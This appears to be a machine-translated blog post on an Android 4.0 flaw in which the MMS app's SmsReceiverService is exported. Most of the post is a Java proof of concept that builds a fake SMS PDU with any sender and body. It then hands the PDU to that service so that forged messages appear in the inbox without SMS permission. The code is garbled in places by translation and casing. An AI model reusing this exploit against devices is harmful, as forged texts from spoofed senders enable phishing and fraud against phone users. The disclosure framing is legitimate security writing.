Android security Issue (eight) forged SMS (using native android4.0 vulnerabilities)

It's been a long, long, long time ago that android4.0 was released. This loophole has long been reported out, the reason why write this article now, is that the upgrade of the basic has been upgraded, the basic patching has been patched, so now is almost time.

In the native android4.0 system, MMS.APK's manifest has such a section

<service android:name= ". Transaction. Smsreceiverservice "
                 android:exported=" true "/>

Android:exported= "true" means that the Smsreceiverservice service has been exposed to everyone and has given the virus an opportunity

On top of the StackOverflow, someone has already given a scheme to forge text messages, so we're just going to use their code right here.

http://stackoverflow.com/questions/12335642/create-pdu-for-android-that-works-with- Smsmessage-createfrompdu-gsm-3gpp

Where UCS-2 processing is my new addition to the

private static void Createfakesms (context, string sender, String body) {byte[] PDU = null;  
    byte[] scbytes = phonenumberutils. NETWORKPORTIONTOCALLEDPARTYBCD ("0000000000");  
    byte[] senderbytes = phonenumberutils. NETWORKPORTIONTOCALLEDPARTYBCD (sender);  
    int Lsmcs = Scbytes.length;  
    Time processing, including month and hour and time zones and daylight savings byte[] datebytes = new BYTE[7];  
    Calendar calendar = new GregorianCalendar ();  
    Datebytes[0] = Smsutil. Reversebyte ((Byte) (Calendar.get (calendar.year));  
    DATEBYTES[1] = Smsutil. Reversebyte ((Byte) (Calendar.get (Calendar.month) + 1));  
    DATEBYTES[2] = Smsutil.reversebyte ((byte) (Calendar. Get (Calendar.day_of_month));  
    DATEBYTES[3] = Smsutil.reversebyte ((byte) (Calendar. Get (Calendar.hour_of_day));  
    DATEBYTES[4] = Smsutil.reversebyte ((byte) (Calendar. Get (Calendar.minute)); DATEBYTES[5] = Smsutil.revErsebyte ((Byte) (Calendar. Get (Calendar.second));  
                    DATEBYTES[6] = Smsutil. Reversebyte ((Byte) (Calendar.get (calendar.zone_offset) + Calendar  
    . Get (Calendar.dst_offset))/(60 * 1000 * 15));  
        try {bytearrayoutputstream bo = new Bytearrayoutputstream ();  
        Bo.write (LSMCS)//SMS Service Center length bo.write (scbytes);//SMS Service center number bo.write (0x04); Bo.write ((Byte) sender.length ())//Sender number length bo.write (senderbytes);//Sender number Bo.write (0x00);//agreement marked, 00 for PU  
            GSM, Point-to-Point mode try {String sreflectedclassname = "Com.android.internal.telephony.GsmAlphabet";  
            Class<?> Creflectednfcextras = Class. forname (Sreflectedclassname);  Method stringtogsm7bitpacked = Creflectednfcextras.getmethod ("stringtogsm7bitpacked", new class[] {  
            String.class});  
Stringtogsm7bitpacked.setaccessible (TRUE);            Byte[] Bodybytes = (byte[]) stringtogsm7bitpacked.invoke (null, body); Bo.write (0x00);  
            encoding:0 for default 7bit bo.write (datebytes);  
        Bo.write (bodybytes);  
            catch (Exception e) {log.i (TAG, "sender:" + sender + "\nbody:" + body, E); The following is the processing of UCS-2 encoding, Chinese text messages need to be used in this way Bo.write (0x08);  
            Encoding:8 for UCS-2 Bo.write (datebytes); Bo.write (SMSUTIL.ENCODEUCS2 (body, NULL)),//where encodeUCS2 is copied from the system, not I write//source specific location in//Framew Orks/base/telephony/java/com/android/internal/telephony/gsm/smsmessage.java} PDU = Bo.toByte  
    Array ();  
    catch (IOException e) {log.e (TAG, "sender:" + sender + "\nbody:" + body, E); The above section is the organization SMS data, below is transmits the data to the Smsreceiverservice, lets it help us to send.  
    Although our program does not send SMS permission, but others have AH!  
    Intent Intent = new Intent (); Intent.setclassname ("CoM.android.mms "," Com.android.mms.transaction.SmsReceiverService ");  
    Intent.setaction ("Android.provider.Telephony.SMS_RECEIVED");  
    Intent.putextra ("PDUs", new object[] {PDU});  
    Intent.putextra ("format", "3GPP");  
Context.startservice (Intent); public static byte Reversebyte (byte b) {return (byte) (b & 0xF0) >> 4 |  
(b & 0x0f) << 4); }